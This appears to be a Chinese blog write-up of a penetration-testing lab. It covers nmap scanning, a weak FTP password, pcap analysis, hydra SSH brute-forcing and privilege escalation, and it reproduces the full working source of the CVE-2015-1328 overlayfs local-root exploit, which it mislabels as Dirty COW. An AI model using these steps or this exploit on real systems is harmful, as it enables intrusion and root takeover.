总结:很艰难的渗透打靶,一开始只想利用msf进行漏洞攻击利用,但是没成功。ftp登录是猜的弱口令,到时候得去了解下如何进行弱口令的爆破。
第二个问题的尝试

利用kali自带字典爆破,发现有很多密码可用

一、打靶总流程
1.确定目标:
确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.信息收集:
比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。
3.发现漏洞:
那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。
4.漏洞利用:
漏洞利用就是使用漏洞拿到webshell。
5.权限提升:
权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。
二、打靶实例详解
确定目标
kali和靶机启动,都使用NAT模式,注意要配置到同一个网段

kali的ip地址位置

信息收集
使用nmap工具来确认要打的靶机的ip地址。

nmap -sP 192.168.190.0/24
分析得出
kali的ip:192.168.30.22
靶机的ip:192.168.30.55
扫描靶机的开放端口

简略查看


nmap -A -p- 192.168.30.55
21端口:ftp服务
22端口:ssh服务
80端口:http服务
详细查看各端口情况

nmap -p- -sS -sV -A 192.168.30.55

ftp服务中,用户Anonymous曾经登录过
尝试进行ftp登录,发现有弱口令漏洞,猜密码为123456,成功进入


有个lol.pcap文件,下载下来

查看tcp流,发现是anonymous的交互命令,上传了一个secret_stuff.txt可疑文件
现在需要做的是把上传的文件位置找到

上传文件的序号是35

追踪tcp流,去看看 192.168.30.55/sup3rs3cr3tdirlol


file命令打开,LSB
去找找看下面的地址,有什么东西

查看得到

用户名的字典


用户密码的字典

注意这里的目录名称,这个文件夹包含密码,Pass.txt和Good_job_😃

使用hydra进行爆破靶机的ssh

爆破得到账号密码
login:overflow
password:Pass.txt
使用ssh进行登录
ssh overflow@192.168.30.55

弹shell就好办了,后面就是扩大战果,进行提权

查看下权限,普通用户
id的知识
id为0:root
0 < id < 1000 服务用户: 为服务提供权限
1000 <= id <=60000 :普通用户
因此还要进行提权,下面是linux提权的几种方式:
1.内核提权—脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
2.利用suid提权
3.利用sudo提权
4.mfs提权
5.mysql提权 包括udf mof提权方式
发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端
python -c 'import pty; pty.spawn("/bin/bash")'
发现漏洞、漏洞利用、权限提升
接下来开始找漏洞

les.sh是一个系统漏洞自动检测的脚本,我们现在要做的是要将这个脚本上传到靶机上

在kali上开启一个http的服务,用8083端口

les.sh下载被拒绝,这是因为在靶机的权限太小导致的
我们将目录切换到/tmp目录下,可以得到稍微高一点的权限
权限 在Linux中,tmp目录的权限通常设置为777(rwxrwxrwx),这意味着任何用户都可以访问和修改该目录中的文件。 这是为了方便临时文件的创建和删除。 然而,由于/tmp目录通常包含敏感信息,因此一些系统管理员可能会更改其权限以提高安全性。

从主机上成功下载到靶机上

给文件添加执行的权限,运行les.sh脚本,检测系统的漏洞


检测出来的结果的颜色越深说明可以被利用的可能性越大,接下来进行exp的利用就可以了。
我这种方法,尝试了几个漏洞类型,都没成功,报错都如下,有成功的朋友可以和我交流

后面决定采用另一种脏牛内核提权的方法

ll.c的内容如下,用c写的脏牛内核提权的脚本
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}

555

被折叠的 条评论
为什么被折叠?



